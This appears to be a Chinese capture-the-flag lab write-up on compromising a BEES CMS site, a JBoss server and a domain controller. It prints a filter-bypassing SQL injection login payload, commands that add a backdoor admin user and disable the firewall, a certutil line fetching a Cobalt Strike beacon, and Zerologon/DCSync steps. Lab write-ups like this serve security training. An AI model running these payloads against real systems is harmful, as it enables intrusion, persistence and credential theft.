Cyberstrikelab-Lab5

BEES CMS

#

fscan扫描到6582端口

经过搜索发现后台登录的用户名处存在SQL注入

通过联合注入伪造登录

user=-1'+uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0+%23&password=123456&code=dd18&submit=true&submit.x=0&submit.y=0

在后台进行上传文件

连接成功，在根目录拿到flag1

上线cs，开启RDP，添加后门用户

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
net user hack Admin@123 /add
net localgroup Administrators hack /add
netsh firewall set opmode disable

JBOSS

#

还存在一个192.168.20.10段

其中192.168.20.20开放了8080端口运行jboss

弱密码可以登录到后台：admin/admin

拿小黑的工具进行扫描

直接就是system权限

直接读flag2

下载定向木马，上线cs

certutil -urlcache -split -f http://192.168.20.10:6582/beacon_x64.exe beacon.exe

rdp的话有点问题，这里直接走winrm吧

Zerologon

#

还是检查到了zerologon

重置密码

走DCsync拿到哈希

最后拿到flag3

Reply by Email